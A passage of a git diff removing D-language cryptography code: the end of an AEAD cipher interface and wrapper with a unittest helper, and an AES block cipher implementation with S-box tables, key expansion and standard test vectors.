bc.getOutputSize(cast(size_t) 0); - })); -} - -@safe -public interface IAEADEngine -{ - - public { - - /// Initialize the underlying cipher. - /// Params: - /// forEncryption = true if we are setting up for encryption, false otherwise. - /// key = Secret key. - /// nonce = Number used only once. - void start(in ubyte[] key, in ubyte[] nonce) nothrow @nogc; - - /// Returns: Returns the name of the algorithm. - @property - string name() pure nothrow; - - - /// Process additional authenticated data. - void processAADBytes(in ubyte[] aad) nothrow; - - /// Encrypt or decrypt a block of bytes. - /// - /// Params: - /// input = Input buffer. - /// output = Output buffer. - /// - /// Returns: A slice pointing to the output data. - ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow; - - /// Close the AEAD cipher by producing the remaining output and a authentication tag. - /// - /// Params: - /// macBuf = Buffer for the MAC tag. - /// output = Buffer for remaining output data. - /// - /// Note: In decryption mode this does not verify the integrity of the data. Verification has to be done by the programmer! - /// - size_t finish(ubyte[] macBuf, ubyte[] output); - - /// Returns: Return the size of the output buffer required for a processBytes an input of len bytes. - size_t getUpdateOutputSize(size_t len) nothrow const; - - /// Returns: Return the size of the output buffer required for a processBytes plus a finish with an input of len bytes. - size_t getOutputSize(size_t len) nothrow const; - - } -} - -// TODO AEAD cipher wrapper -/// Wrapper class for AEAD ciphers -@safe -public class AEADCipherWrapper(T) if(isAEADCipher!T): IAEADEngine -{ - - private T cipher; - - public { - - void start(in ubyte[] key, in ubyte[] iv) { - cipher.start(key, iv); - } - - @property - string name() pure nothrow { - return cipher.name; - } - - void processAADBytes(in ubyte[] aad) nothrow { - cipher.processAADBytes(aad); - } - - - ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow { - return cipher.processBytes(input, output); - } - - size_t finish(ubyte[] macBuf, ubyte[] output){ - return cipher.finish(macBuf, output); - } - - size_t getUpdateOutputSize(size_t len) nothrow const { - return cipher.getUpdateOutputSize(len); - } - - size_t getOutputSize(size_t len) nothrow const { - return cipher.getOutputSize(len); - } - } -} - - - -version(unittest) { - - // unittest helper functions - - - /// Runs decryption and encryption using AEADCipher cipher with given keys, plaintexts, and ciphertexts. - /// - /// Params: - /// hexKeys = the keys encoded in hex - /// hexIVs = hex encoded nonces - /// hexPlaintexts = the plaintexts encoded in hex - /// hexAAD = additional authenticated data - /// hexCiphertexts = the corresponding ciphertexts in hex - /// macSize = MAC sizes in bits - /// - /// Throws: - /// AssertionError if encryption or decryption failed - @safe - public void AEADCipherTest( - IAEADEngine cipher, - in string[] keys, - in string[] ivs, - in string[] plaintexts, - in string[] aads, - in string[] ciphertexts, - in uint[] macSize - ) { - - import dcrypt.aead.aead; - import std.format: format; - - alias const (ubyte)[] octets; - - foreach (uint i, string test_key; keys) - { - octets plain = cast(octets) plaintexts[i]; - octets aad = cast(octets) aads[i]; - octets ciphertext = cast(octets) ciphertexts[i]; - - ubyte[] output = new ubyte[plain.length]; - - // set to encryption mode - cipher.start(true, cast(octets) test_key, cast(octets) ivs[i]); - - output.length = cipher.getOutputSize(plain.length); - - immutable size_t taglen = macSize[i]/8; - octets expectedMac = ciphertext[$-taglen..$]; - ciphertext = ciphertext[0..$-taglen]; - -// assert(cipher.getUpdateOutputSize(plain.length) == plain.length); - assert(output.length >= cipher.getUpdateOutputSize(plain.length)); - - - assert(output.length >= cipher.getUpdateOutputSize(plain.length)); - - // test encryption - cipher.processAADBytes(aad); - ubyte[] out_slice = cipher.processBytes(plain, output); - - ubyte[16] mac; - size_t len = out_slice.length+cipher.finish(mac, output[out_slice.length..$]); - - assert(output == ciphertext, - format("%s encrypt: %(%.2x%) != %(%.2x%)", cipher.name, output, ciphertexts[i])); - - assert(mac[0..taglen] == expectedMac); - - } - } -} \ No newline at end of file diff --git a/aes.d b/aes.d deleted file mode 100644 index 3e2ee91..0000000 --- a/aes.d +++ /dev/null @@ -1,549 +0,0 @@ -module angel.utils.cryptography.aes; - -import angel.utils.cryptography.blockcipher; -import angel.utils.cryptography.exceptions; -import angel.utils.cryptography.bitmanip; - -/// Test AES encryption and decryption of a single block with 128, 192 and 256 bits key length. -/// test vectors from http://www.inconteam.com/software-development/41-encryption/55-aes-test-vectors -@safe -unittest { - - static string[] test_keys = [ - x"2b7e151628aed2a6abf7158809cf4f3c", - x"8e73b0f7da0e6452c810f32b809079e562f8ead2522c6b7b", - x"603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4", - x"603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4" - ]; - - static string[] test_plaintexts = [ - x"6bc1bee22e409f96e93d7e117393172a", - x"6bc1bee22e409f96e93d7e117393172a", - x"6bc1bee22e409f96e93d7e117393172a", - x"ae2d8a571e03ac9c9eb76fac45af8e51" - ]; - - static string[] test_ciphertexts = [ - x"3ad77bb40d7a3660a89ecaf32466ef97", - x"bd334f1d6e45f25ff712a214571fa5cc", - x"f3eed1bdb5d2a03c064b5a7e3db181f8", - x"591ccb10d410ed26dc5ba74a31362870" - - ]; - - AESEngine t = new AESEngine(); - - blockCipherTest(t, test_keys, test_plaintexts, test_ciphertexts); - -} - -static assert(isBlockCipher!AES, "AES is not a block cipher!"); - -/// OOP API wrapper for AES -alias BlockCipherWrapper!AES AESEngine; - -@safe -public struct AES -{ - - public enum name = "AES"; - public enum blockSize = 16; - private static immutable size_t maxKeyLength = 32; - private ubyte[maxKeyLength] userKey; - private size_t keyLength; - - public { - - /// Params: - /// forEncryption = `false`: decrypt, `true`: encrypt - /// userKey = Secret key. - /// iv = Not used. - void start(in ubyte[] key, in ubyte[] iv = null) nothrow @nogc - { - size_t len = key.length; - assert(len == 16 || len == 24 || len == 32, this.name~": Invalid key length (requires 16, 24 or 32 bytes)"); - - userKey[0 .. len] = key[0 .. len]; - - initialized = true; - } - - public uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc - in { - assert(initialized, "Serpent engine not initialized"); - assert(blockSize<=input.length, "input buffer too short"); - assert(blockSize<=output.length, "output buffer too short"); - } - body { - state = 1; - generateWorkingKey(userKey); - - unpackBlock(input); - encryptBlock(); - packBlock(output); - - return blockSize; - } - - public uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc - in { - assert(initialized, "Serpent engine not initialized"); - assert(blockSize<=input.length, "input buffer too short"); - assert(blockSize<=output.length, "output buffer too short"); - } - body { - state = 0; - generateWorkingKey(userKey); - - unpackBlock(input); - decryptBlock(); - packBlock(output); - - return blockSize; - } - - void reset() nothrow @nogc - { - - } - } - - // begin of private section -private: - -// @safe @nogc nothrow -// ~this() { -// import dcrypt.util: wipe; -// -// wipe(workingKey); -// wipe(C0, C1, C2, C3); -// } - - enum MAXROUNDS = 14; - - uint ROUNDS; // Number of rounds depends on keysize - uint C0, C1, C2, C3; // State - - uint[4][MAXROUNDS+1] workingKey; - - bool state; // 1 encrypt, 0 decrypt - bool initialized; - // const ubyte[] userKey = kii; - - // Sbox and its inverse - static immutable ubyte[256] S = [ - 0x63u, 0x7cu, 0x77u, 0x7bu, 0xf2u, 0x6bu, 0x6fu, 0xc5u, - 0x30u, 0x01u, 0x67u, 0x2bu, 0xfeu, 0xd7u, 0xabu, 0x76u, - 0xcau, 0x82u, 0xc9u, 0x7du, 0xfau, 0x59u, 0x47u, 0xf0u, - 0xadu, 0xd4u, 0xa2u, 0xafu, 0x9cu, 0xa4u, 0x72u, 0xc0u, - 0xb7u, 0xfdu, 0x93u, 0x26u, 0x36u, 0x3fu, 0xf7u, 0xccu, - 0x34u, 0xa5u, 0xe5u, 0xf1u, 0x71u, 0xd8u, 0x31u, 0x15u, - 0x04u, 0xc7u, 0x23u, 0xc3u, 0x18u, 0x96u, 0x05u, 0x9au, - 0x07u, 0x12u, 0x80u, 0xe2u, 0xebu, 0x27u, 0xb2u, 0x75u, - 0x09u, 0x83u, 0x2cu, 0x1au, 0x1bu, 0x6eu, 0x5au, 0xa0u, - 0x52u, 0x3bu, 0xd6u, 0xb3u, 0x29u, 0xe3u, 0x2fu, 0x84u, - 0x53u, 0xd1u, 0x00u, 0xedu, 0x20u, 0xfcu, 0xb1u, 0x5bu, - 0x6au, 0xcbu, 0xbeu, 0x39u, 0x4au, 0x4cu, 0x58u, 0xcfu, - 0xd0u, 0xefu, 0xaau, 0xfbu, 0x43u, 0x4du, 0x33u, 0x85u, - 0x45u, 0xf9u, 0x02u, 0x7fu, 0x50u, 0x3cu, 0x9fu, 0xa8u, - 0x51u, 0xa3u, 0x40u, 0x8fu, 0x92u, 0x9du, 0x38u, 0xf5u, - 0xbcu, 0xb6u, 0xdau, 0x21u, 0x10u, 0xffu, 0xf3u, 0xd2u, - 0xcdu, 0x0cu, 0x13u, 0xecu, 0x5fu, 0x97u, 0x44u, 0x17u, - 0xc4u, 0xa7u, 0x7eu, 0x3du, 0x64u, 0x5du, 0x19u, 0x73u, - 0x60u, 0x81u, 0x4fu, 0xdcu, 0x22u, 0x2au, 0x90u, 0x88u, - 0x46u, 0xeeu, 0xb8u, 0x14u, 0xdeu, 0x5eu, 0x0bu, 0xdbu, - 0xe0u, 0x32u, 0x3au, 0x0au, 0x49u, 0x06u, 0x24u, 0x5cu, - 0xc2u, 0xd3u, 0xacu, 0x62u, 0x91u, 0x95u, 0xe4u, 0x79u, - 0xe7u, 0xc8u, 0x37u, 0x6du, 0x8du, 0xd5u, 0x4eu, 0xa9u, - 0x6cu, 0x56u, 0xf4u, 0xeau, 0x65u, 0x7au, 0xaeu, 0x08u, - 0xbau, 0x78u, 0x25u, 0x2eu, 0x1cu, 0xa6u, 0xb4u, 0xc6u, - 0xe8u, 0xddu, 0x74u, 0x1fu, 0x4bu, 0xbdu, 0x8bu, 0x8au, - 0x70u, 0x3eu, 0xb5u, 0x66u, 0x48u, 0x03u, 0xf6u, 0x0eu, - 0x61u, 0x35u, 0x57u, 0xb9u, 0x86u, 0xc1u, 0x1du, 0x9eu, - 0xe1u, 0xf8u, 0x98u, 0x11u, 0x69u, 0xd9u, 0x8eu, 0x94u, - 0x9bu, 0x1eu, 0x87u, 0xe9u, 0xceu, 0x55u, 0x28u, 0xdfu, - 0x8cu, 0xa1u, 0x89u, 0x0du, 0xbfu, 0xe6u, 0x42u, 0x68u, - 0x41u, 0x99u, 0x2du, 0x0fu, 0xb0u, 0x54u, 0xbbu, 0x16u - ]; - - static immutable ubyte[256] Si = [ - 0x52u, 0x09u, 0x6au, 0xd5u, 0x30u, 0x36u, 0xa5u, 0x38u, - 0xbfu, 0x40u, 0xa3u, 0x9eu, 0x81u, 0xf3u, 0xd7u, 0xfbu, - 0x7cu, 0xe3u, 0x39u, 0x82u, 0x9bu, 0x2fu, 0xffu, 0x87u, - 0x34u, 0x8eu, 0x43u, 0x44u, 0xc4u, 0xdeu, 0xe9u, 0xcbu, - 0x54u, 0x7bu, 0x94u, 0x32u, 0xa6u, 0xc2u, 0x23u, 0x3du, - 0xeeu, 0x4cu, 0x95u, 0x0bu, 0x42u, 0xfau, 0xc3u, 0x4eu, - 0x08u, 0x2eu, 0xa1u, 0x66u, 0x28u, 0xd9u, 0x24u, 0xb2u, - 0x76u, 0x5bu, 0xa2u, 0x49u, 0x6du, 0x8bu, 0xd1u, 0x25u, - 0x72u, 0xf8u, 0xf6u, 0x64u, 0x86u, 0x68u, 0x98u, 0x16u, - 0xd4u, 0xa4u, 0x5cu, 0xccu, 0x5du, 0x65u, 0xb6u, 0x92u, - 0x6cu, 0x70u, 0x48u, 0x50u, 0xfdu, 0xedu, 0xb9u, 0xdau, - 0x5eu, 0x15u, 0x46u, 0x57u, 0xa7u, 0x8du, 0x9du, 0x84u, - 0x90u, 0xd8u, 0xabu, 0x00u, 0x8cu, 0xbcu, 0xd3u, 0x0au, - 0xf7u, 0xe4u, 0x58u, 0x05u, 0xb8u, 0xb3u, 0x45u, 0x06u, - 0xd0u, 0x2cu, 0x1eu, 0x8fu, 0xcau, 0x3fu, 0x0fu, 0x02u, - 0xc1u, 0xafu, 0xbdu, 0x03u, 0x01u, 0x13u, 0x8au, 0x6bu, - 0x3au, 0x91u, 0x11u, 0x41u, 0x4fu, 0x67u, 0xdcu, 0xeau, - 0x97u, 0xf2u, 0xcfu, 0xceu, 0xf0u, 0xb4u, 0xe6u, 0x73u, - 0x96u, 0xacu, 0x74u, 0x22u, 0xe7u, 0xadu, 0x35u, 0x85u, - 0xe2u, 0xf9u, 0x37u, 0xe8u, 0x1cu, 0x75u, 0xdfu, 0x6eu, - 0x47u, 0xf1u, 0x1au, 0x71u, 0x1du, 0x29u, 0xc5u, 0x89u, - 0x6fu, 0xb7u, 0x62u, 0x0eu, 0xaau, 0x18u, 0xbeu, 0x1bu, - 0xfcu, 0x56u, 0x3eu, 0x4bu, 0xc6u, 0xd2u, 0x79u, 0x20u, - 0x9au, 0xdbu, 0xc0u, 0xfeu, 0x78u, 0xcdu, 0x5au, 0xf4u, - 0x1fu, 0xddu, 0xa8u, 0x33u, 0x88u, 0x07u, 0xc7u, 0x31u, - 0xb1u, 0x12u, 0x10u, 0x59u, 0x27u, 0x80u, 0xecu, 0x5fu, - 0x60u, 0x51u, 0x7fu, 0xa9u, 0x19u, 0xb5u, 0x4au, 0x0du, - 0x2du, 0xe5u, 0x7au, 0x9fu, 0x93u, 0xc9u, 0x9cu, 0xefu, - 0xa0u, 0xe0u, 0x3bu, 0x4du, 0xaeu, 0x2au, 0xf5u, 0xb0u, - 0xc8u, 0xebu, 0xbbu, 0x3cu, 0x83u, 0x53u, 0x99u, 0x61u, - 0x17u, 0x2bu, 0x04u, 0x7eu, 0xbau, 0x77u, 0xd6u, 0x26u, - 0xe1u, 0x69u, 0x14u, 0x63u, 0x55u, 0x21u, 0x0cu, 0x7du - ]; - - // Round constants - static immutable uint[30] rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, - 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 - ]; - - // precomputation tables of calculations for rounds - static immutable uint[256] T0 = - [ - 0xa56363c6u, 0x847c7cf8u, 0x997777eeu, 0x8d7b7bf6u, 0x0df2f2ffu, - 0xbd6b6bd6u, 0xb16f6fdeu, 0x54c5c591u, 0x50303060u, 0x03010102u, - 0xa96767ceu, 0x7d2b2b56u, 0x19fefee7u, 0x62d7d7b5u, 0xe6abab4du, - 0x9a7676ecu, 0x45caca8fu, 0x9d82821fu, 0x40c9c989u, 0x877d7dfau, - 0x15fafaefu, 0xeb5959b2u, 0xc947478eu, 0x0bf0f0fbu, 0xecadad41u, - 0x67d4d4b3u, 0xfda2a25fu, 0xeaafaf45u, 0xbf9c9c23u, 0xf7a4a453u, - 0x967272e4u, 0x5bc0c09bu, 0xc2b7b775u, 0x1cfdfde1u, 0xae93933du, - 0x6a26264cu, 0x5a36366cu, 0x413f3f7eu, 0x02f7f7f5u, 0x4fcccc83u, - 0x5c343468u, 0xf4a5a551u, 0x34e5e5d1u, 0x08f1f1f9u, 0x937171e2u, - 0x73d8d8abu, 0x53313162u, 0x3f15152au, 0x0c040408u, 0x52c7c795u, - 0x65232346u, 0x5ec3c39du, 0x28181830u, 0xa1969637u, 0x0f05050au, - 0xb59a9a2fu, 0x0907070eu, 0x36121224u, 0x9b80801bu, 0x3de2e2dfu, - 0x26ebebcdu, 0x6927274eu, 0xcdb2b27fu, 0x9f7575eau, 0x1b090912u, - 0x9e83831du, 0x742c2c58u, 0x2e1a1a34u, 0x2d1b1b36u, 0xb26e6edcu, - 0xee5a5ab4u, 0xfba0a05bu, 0xf65252a4u, 0x4d3b3b76u, 0x61d6d6b7u, - 0xceb3b37du, 0x7b292952u, 0x3ee3e3ddu, 0x712f2f5eu, 0x97848413u, - 0xf55353a6u, 0x68d1d1b9u, 0x00000000u, 0x2cededc1u, 0x60202040u, - 0x1ffcfce3u, 0xc8b1b179u, 0xed5b5bb6u, 0xbe6a6ad4u, 0x46cbcb8du, - 0xd9bebe67u, 0x4b393972u, 0xde4a4a94u, 0xd44c4c98u, 0xe85858b0u, - 0x4acfcf85u, 0x6bd0d0bbu, 0x2aefefc5u, 0xe5aaaa4fu, 0x16fbfbedu, - 0xc5434386u, 0xd74d4d9au, 0x55333366u, 0x94858511u, 0xcf45458au, - 0x10f9f9e9u, 0x06020204u, 0x817f7ffeu, 0xf05050a0u, 0x443c3c78u, - 0xba9f9f25u, 0xe3a8a84bu, 0xf35151a2u, 0xfea3a35du, 0xc0404080u, - 0x8a8f8f05u, 0xad92923fu, 0xbc9d9d21u, 0x48383870u, 0x04f5f5f1u, - 0xdfbcbc63u, 0xc1b6b677u, 0x75dadaafu, 0x63212142u, 0x30101020u, - 0x1affffe5u, 0x0ef3f3fdu, 0x6dd2d2bfu, 0x4ccdcd81u, 0x140c0c18u, - 0x35131326u, 0x2fececc3u, 0xe15f5fbeu, 0xa2979735u, 0xcc444488u, - 0x3917172eu, 0x57c4c493u, 0xf2a7a755u, 0x827e7efcu, 0x473d3d7au, - 0xac6464c8u, 0xe75d5dbau, 0x2b191932u, 0x957373e6u, 0xa06060c0u, - 0x98818119u, 0xd14f4f9eu, 0x7fdcdca3u, 0x66222244u, 0x7e2a2a54u, - 0xab90903bu, 0x8388880bu, 0xca46468cu, 0x29eeeec7u, 0xd3b8b86bu, - 0x3c141428u, 0x79dedea7u, 0xe25e5ebcu, 0x1d0b0b16u, 0x76dbdbadu, - 0x3be0e0dbu, 0x56323264u, 0x4e3a3a74u, 0x1e0a0a14u, 0xdb494992u, - 0x0a06060cu, 0x6c242448u, 0xe45c5cb8u, 0x5dc2c29fu, 0x6ed3d3bdu, - 0xefacac43u, 0xa66262c4u, 0xa8919139u, 0xa4959531u, 0x37e4e4d3u, - 0x8b7979f2u, 0x32e7e7d5u, 0x43c8c88bu, 0x5937376eu, 0xb76d6ddau, - 0x8c8d8d01u, 0x64d5d5b1u, 0xd24e4e9cu, 0xe0a9a949u, 0xb46c6cd8u, - 0xfa5656acu, 0x07f4f4f3u, 0x25eaeacfu, 0xaf6565cau, 0x8e7a7af4u, - 0xe9aeae47u, 0x18080810u, 0xd5baba6fu, 0x887878f0u, 0x6f25254au, - 0x722e2e5cu, 0x241c1c38u, 0xf1a6a657u, 0xc7b4b473u, 0x51c6c697u, - 0x23e8e8cbu, 0x7cdddda1u, 0x9c7474e8u, 0x211f1f3eu, 0xdd4b4b96u, - 0xdcbdbd61u, 0x868b8b0du, 0x858a8a0fu, 0x907070e0u, 0x423e3e7cu, - 0xc4b5b571u, 0xaa6666ccu, 0xd8484890u, 0x05030306u, 0x01f6f6f7u, - 0x120e0e1cu, 0xa36161c2u, 0x5f35356au, 0xf95757aeu, 0xd0b9b969u, - 0x91868617u, 0x58c1c199u, 0x271d1d3au, 0xb99e9e27u, 0x38e1e1d9u, - 0x13f8f8ebu, 0xb398982bu, 0x33111122u, 0xbb6969d2u, 0x70d9d9a9u, - 0x898e8e07u, 0xa7949433u, 0xb69b9b2du, 0x221e1e3cu, 0x92878715u, - 0x20e9e9c9u, 0x49cece87u, 0xff5555aau, 0x78282850u, 0x7adfdfa5u, - 0x8f8c8c03u, 0xf8a1a159u, 0x80898909u, 0x170d0d1au, 0xdabfbf65u, - 0x31e6e6d7u, 0xc6424284u, 0xb86868d0u, 0xc3414182u, 0xb0999929u, - 0x772d2d5au, 0x110f0f1eu, 0xcbb0b07bu, 0xfc5454a8u, 0xd6bbbb6du, - 0x3a16162cu]; - - static immutable uint[256] Tinv0 = - [ - 0x50a7f451u, 0x5365417eu, 0xc3a4171au, 0x965e273au, 0xcb6bab3bu, - 0xf1459d1fu, 0xab58faacu, 0x9303e34bu, 0x55fa3020u, 0xf66d76adu, - 0x9176cc88u, 0x254c02f5u, 0xfcd7e54fu, 0xd7cb2ac5u, 0x80443526u, - 0x8fa362b5u, 0x495ab1deu, 0x671bba25u, 0x980eea45u, 0xe1c0fe5du, - 0x02752fc3u, 0x12f04c81u, 0xa397468du, 0xc6f9d36bu, 0xe75f8f03u, - 0x959c9215u, 0xeb7a6dbfu, 0xda595295u, 0x2d83bed4u, 0xd3217458u, - 0x2969e049u, 0x44c8c98eu, 0x6a89c275u, 0x78798ef4u, 0x6b3e5899u, - 0xdd71b927u, 0xb64fe1beu, 0x17ad88f0u, 0x66ac20c9u, 0xb43ace7du, - 0x184adf63u, 0x82311ae5u, 0x60335197u, 0x457f5362u, 0xe07764b1u, - 0x84ae6bbbu, 0x1ca081feu, 0x942b08f9u, 0x58684870u, 0x19fd458fu, - 0x876cde94u, 0xb7f87b52u, 0x23d373abu, 0xe2024b72u, 0x578f1fe3u, - 0x2aab5566u, 0x0728ebb2u, 0x03c2b52fu, 0x9a7bc586u, 0xa50837d3u, - 0xf2872830u, 0xb2a5bf23u, 0xba6a0302u, 0x5c8216edu, 0x2b1ccf8au, - 0x92b479a7u, 0xf0f207f3u, 0xa1e2694eu, 0xcdf4da65u, 0xd5be0506u, - 0x1f6234d1u, 0x8afea6c4u, 0x9d532e34u, 0xa055f3a2u, 0x32e18a05u, - 0x75ebf6a4u, 0x39ec830bu, 0xaaef6040u, 0x069f715eu, 0x51106ebdu, - 0xf98a213eu, 0x3d06dd96u, 0xae053eddu, 0x46bde64du, 0xb58d5491u, - 0x055dc471u, 0x6fd40604u, 0xff155060u, 0x24fb9819u, 0x97e9bdd6u, - 0xcc434089u, 0x779ed967u, 0xbd42e8b0u, 0x888b8907u, 0x385b19e7u, - 0xdbeec879u, 0x470a7ca1u, 0xe90f427cu, 0xc91e84f8u, 0x00000000u, - 0x83868009u, 0x48ed2b32u, 0xac70111eu, 0x4e725a6cu, 0xfbff0efdu, - 0x5638850fu, 0x1ed5ae3du, 0x27392d36u, 0x64d90f0au, 0x21a65c68u, - 0xd1545b9bu, 0x3a2e3624u, 0xb1670a0cu, 0x0fe75793u, 0xd296eeb4u, - 0x9e919b1bu, 0x4fc5c080u, 0xa220dc61u, 0x694b775au, 0x161a121cu, - 0x0aba93e2u, 0xe52aa0c0u, 0x43e0223cu, 0x1d171b12u, 0x0b0d090eu, - 0xadc78bf2u, 0xb9a8b62du, 0xc8a91e14u, 0x8519f157u, 0x4c0775afu, - 0xbbdd99eeu, 0xfd607fa3u, 0x9f2601f7u, 0xbcf5725cu, 0xc53b6644u, - 0x347efb5bu, 0x7629438bu, 0xdcc623cbu, 0x68fcedb6u, 0x63f1e4b8u, - 0xcadc31d7u, 0x10856342u, 0x40229713u, 0x2011c684u, 0x7d244a85u, - 0xf83dbbd2u, 0x1132f9aeu, 0x6da129c7u, 0x4b2f9e1du, 0xf330b2dcu, - 0xec52860du, 0xd0e3c177u, 0x6c16b32bu, 0x99b970a9u, 0xfa489411u, - 0x2264e947u, 0xc48cfca8u, 0x1a3ff0a0u, 0xd82c7d56u, 0xef903322u, - 0xc74e4987u, 0xc1d138d9u, 0xfea2ca8cu, 0x360bd498u, 0xcf81f5a6u, - 0x28de7aa5u, 0x268eb7dau, 0xa4bfad3fu, 0xe49d3a2cu, 0x0d927850u, - 0x9bcc5f6au, 0x62467e54u, 0xc2138df6u, 0xe8b8d890u, 0x5ef7392eu, - 0xf5afc382u, 0xbe805d9fu, 0x7c93d069u, 0xa92dd56fu, 0xb31225cfu, - 0x3b99acc8u, 0xa77d1810u, 0x6e639ce8u, 0x7bbb3bdbu, 0x097826cdu, - 0xf418596eu, 0x01b79aecu, 0xa89a4f83u, 0x656e95e6u, 0x7ee6ffaau, - 0x08cfbc21u, 0xe6e815efu, 0xd99be7bau, 0xce366f4au, 0xd4099feau, - 0xd67cb029u, 0xafb2a431u, 0x31233f2au, 0x3094a5c6u, 0xc066a235u, - 0x37bc4e74u, 0xa6ca82fcu, 0xb0d090e0u, 0x15d8a733u, 0x4a9804f1u, - 0xf7daec41u, 0x0e50cd7fu, 0x2ff69117u, 0x8dd64d76u, 0x4db0ef43u, - 0x544daaccu, 0xdf0496e4u, 0xe3b5d19eu, 0x1b886a4cu, 0xb81f2cc1u, - 0x7f516546u, 0x04ea5e9du, 0x5d358c01u, 0x737487fau, 0x2e410bfbu, - 0x5a1d67b3u, 0x52d2db92u, 0x335610e9u, 0x1347d66du, 0x8c61d79au, - 0x7a0ca137u, 0x8e14f859u, 0x893c13ebu, 0xee27a9ceu, 0x35c961b7u, - 0xede51ce1u, 0x3cb1477au, 0x59dfd29cu, 0x3f73f255u, 0x79ce1418u, - 0xbf37c773u, 0xeacdf753u, 0x5baafd5fu, 0x146f3ddfu, 0x86db4478u, - 0x81f3afcau, 0x3ec468b9u, 0x2c342438u, 0x5f40a3c2u, 0x72c31d16u, - 0x0c25e2bcu, 0x8b493c28u, 0x41950dffu, 0x7101a839u, 0xdeb30c08u, - 0x9ce4b4d8u, 0x90c15664u, 0x6184cb7bu, 0x70b632d5u, 0x745c6c48u, - 0x4257b8d0u]; - - private enum uint m1 = 0x80808080, m2 = 0x7f7f7f7f, m3 = 0x0000001b;; - - @safe - @nogc - private static uint FFmulX(uint x) nothrow - { - return (((x & m2) << 1) ^ (((x & m1) >>> 7) * m3)); - } - - @safe - @nogc - private static uint inv_mcol(uint x) nothrow - { - uint f2 = FFmulX(x); - uint f4 = FFmulX(f2); - uint f8 = FFmulX(f4); - uint f9 = x ^ f8; - - return f2 ^ f4 ^ f8 ^ rotateRight(f2 ^ f9, 8) ^ rotateRight(f4 ^ f9, 16) ^ rotateRight(f9, 24); - } - - @safe - @nogc - private static uint subWord(uint x) nothrow - { - return (S[x&255] | ((S[(x>>8)&255])<<8) | ((S[(x>>16)&255])<<16) | S[(x>>24)&255]<<24); - } - - /** - * Calculate the necessary round keys - * The number of calculations depends on key size and block size - * AES specified a fixed block size of 128 bits and key sizes 128/192/256 bits - * This code is written assuming those are the only possible values - */ - private void generateWorkingKey(in ubyte[] key) nothrow @nogc - in { - size_t len = key.length; - assert(len == 16 || len == 24 || len == 32, this.name~": Invalid key length (requires 16, 24 or 32 bytes)"); - } - body { - uint KC = cast(uint)key.length / 4; // key length in words - uint t; - - ROUNDS = KC + 6; // This is not always true for the generalized Rijndael that allows larger block sizes - //uint[][] W = new uint[][](ROUNDS+1,4); // 4 words in a block - - alias workingKey W; - - // - // copy the key into the round key array - // - - t = 0; - uint i = 0; - while (i < key.length) - { - W[t >> 2][t & 3] = (key[i]&0xff) | ((key[i+1]&0xff) << 8) | ((key[i+2]&0xff) << 16) | (key[i+3] << 24); - i+=4; - t++; - } - - // - // while not enough round key material calculated - // calculate new values - // - uint k = (ROUNDS + 1) << 2; - for (i = KC; (i < k); i++) - { - int temp = W[(i-1)>>2][(i-1)&3]; - if ((i % KC) == 0) - { - temp = subWord(rotateRight(temp, 8)) ^ rcon[(i / KC)-1]; - } - else if ((KC > 6) && ((i % KC) == 4)) - { - temp = subWord(temp); - } - - W[i>>2][i&3] = W[(i - KC)>>2][(i-KC)&3] ^ temp; - } - - if (!this.state) - { - for (int j = 1; j < ROUNDS; j++) - { - for (i = 0; i < 4; i++) - { - W[j][i] = inv_mcol(W[j][i]); - } - } - } - } - - - @safe - @nogc - private void unpackBlock(in ubyte[] bytes) nothrow - in { - assert(bytes.length == 16, "invalid input length "); - } - body { - C0 = (bytes[0]); - C0 |= (bytes[1]) << 8; - C0 |= (bytes[2]) << 16; - C0 |= bytes[3] << 24; - - - C1 = (bytes[4]); - C1 |= (bytes[5]) << 8; - C1 |= (bytes[6]) << 16; - C1 |= bytes[7] << 24; - - - C2 = (bytes[8]); - C2 |= (bytes[9]) << 8; - C2 |= (bytes[10]) << 16; - C2 |= bytes[11] << 24; - - - C3 = (bytes[12]); - C3 |= (bytes[13]) << 8; - C3 |= (bytes[14]) << 16; - C3 |= bytes[15] << 24; - - } - - @safe - @nogc - private void packBlock(ubyte[] bytes) nothrow - { - bytes[0] = cast(ubyte)C0; - bytes[1] = cast(ubyte)(C0 >> 8); - bytes[2] = cast(ubyte)(C0 >> 16); - bytes[3] = cast(ubyte)(C0 >> 24); - - bytes[4] = cast(ubyte)C1; - bytes[5] = cast(ubyte)(C1 >> 8); - bytes[6] = cast(ubyte)(C1 >> 16); - bytes[7] = cast(ubyte)(C1 >> 24); - - bytes[8] = cast(ubyte)C2; - bytes[9] = cast(ubyte)(C2 >> 8); - bytes[10] = cast(ubyte)(C2 >> 16); - bytes[11] = cast(ubyte)(C2 >> 24); - - bytes[12] = cast(ubyte)C3; - bytes[13] = cast(ubyte)(C3 >> 8); - bytes[14] = cast(ubyte)(C3 >> 16); - bytes[15] = cast(ubyte)(C3 >> 24); - } - - @safe - @nogc - private void encryptBlock() nothrow - { - alias workingKey wk; - uint r, r0, r1, r2, r3; - - C0 ^= wk[0][0]; - C1 ^= wk[0][1]; - C2 ^= wk[0][2]; - C3 ^= wk[0][3]; - - r = 1; - - while (r < ROUNDS - 1) - { - r0 = T0[C0&255] ^ rotateRight(T0[(C1>>8)&255], 24) ^ rotateRight(T0[(C2>>16)&255],16) ^ rotateRight(T0[(C3>>24)&255],8) ^ wk[r][0]; - r1 = T0[C1&255] ^ rotateRight(T0[(C2>>8)&255], 24) ^ rotateRight(T0[(C3>>16)&255], 16) ^ rotateRight(T0[(C0>>24)&255], 8) ^ wk[r][1]; - r2 = T0[C2&255] ^ rotateRight(T0[(C3>>8)&255], 24) ^ rotateRight(T0[(C0>>16)&255], 16) ^ rotateRight(T0[(C1>>24)&255], 8) ^ wk[r][2]; - r3 = T0[C3&255] ^ rotateRight(T0[(C0>>8)&255], 24) ^ rotateRight(T0[(C1>>16)&255], 16) ^ rotateRight(T0[(C2>>24)&255], 8) ^ wk[r++][3]; - C0 = T0[r0&255] ^ rotateRight(T0[(r1>>8)&255], 24) ^ rotateRight(T0[(r2>>16)&255], 16) ^ 